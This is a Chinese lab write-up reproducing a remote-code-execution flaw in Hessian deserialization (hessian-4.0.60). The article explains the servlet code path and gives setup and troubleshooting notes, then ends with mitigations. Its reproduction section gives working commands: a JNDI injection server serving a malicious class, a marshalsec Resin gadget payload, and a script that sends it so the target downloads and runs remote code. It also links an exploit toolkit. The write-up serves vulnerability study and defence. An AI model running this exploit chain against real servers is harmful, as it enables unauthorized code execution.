Hessian反序列化RCE漏发复现及分析
字数 1319 2025-08-26 22:11:45
Hessian反序列化RCE漏洞复现与分析
1. 漏洞概述
Hessian是一个轻量级的RPC框架,基于HTTP协议传输,使用Hessian二进制序列化。该框架存在反序列化漏洞,可导致远程代码执行(RCE)。此漏洞早在2017年就公开了POC,但测试发现最新版本hessian-4.0.60.jar仍然存在此问题。
2. 漏洞原理
Hessian框架在处理客户端请求时,通过com.caucho.hessian.server.HessianServlet的service方法处理HTTP请求,最终调用HessianSkeleton的invoke方法和readObject方法从数据流中读取对象。由于缺乏有效的黑白名单过滤机制,攻击者可以构造恶意序列化数据实现RCE。
3. 环境搭建
- 使用最新jar包:hessian-4.0.60.jar
- 将HessianTest.war部署到tomcat/webapp/目录下
- 启动tomcat服务器
- 访问
http://127.0.0.1:8080/HessianTest/hessian验证环境是否正常
注意:测试发现JDK7+Tomcat7环境可成功复现,而JDK8+Tomcat9环境可能存在问题。
4. 漏洞复现步骤
4.1 启动JNDI利用工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 127.0.0.1
参数说明:
-C:需要执行的命令-A:监听地址
4.2 生成payload
使用marshalsec项目生成利用payload:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ExecTemplateJDK7 > hessian_payload
注意:http://127.0.0.1:8180/ExecTemplateJDK7是JNDI注入工具生成的恶意代码地址。
4.3 发送payload到Hessian服务器
使用hessian.py脚本发送序列化的payload:
python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian_payload
成功执行后,服务器会从JNDI注入工具下载恶意类并执行指定命令(如弹出计算器)。
5. 常见问题解决
-
"找不到或无法加载主类 marshalsec.Hessian":
- 确保marshalsec jar包路径正确
- 检查Java环境配置
-
Python脚本报错:
requests.exceptions.ChunkedEncodingError: ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))- 检查网络连接
- 验证目标服务是否正常运行
-
Tomcat9+JDK8环境问题:
- 错误信息显示
expected hessian method ('m') at end of file - 建议切换到JDK7+Tomcat7环境进行测试
- 错误信息显示
6. 工具与资源
- 漏洞复现工具包:https://github.com/21superman/Hessian-Deserialize-RCE
- marshalsec项目:用于生成利用payload
- JNDI-Injection-Exploit:JNDI注入利用工具
7. 防护建议
- 升级到最新安全版本的Hessian
- 实现反序列化黑白名单机制
- 限制Hessian服务的访问权限
- 监控异常的网络请求和系统行为
8. 技术要点总结
- Hessian反序列化漏洞利用的是Java反序列化机制
- 通过JNDI注入实现远程代码执行
- 利用链涉及Resin、ROME、XBean等多个组件
- 最新版本仍存在此问题,说明修复不彻底
此漏洞危害性高,建议相关用户及时采取防护措施。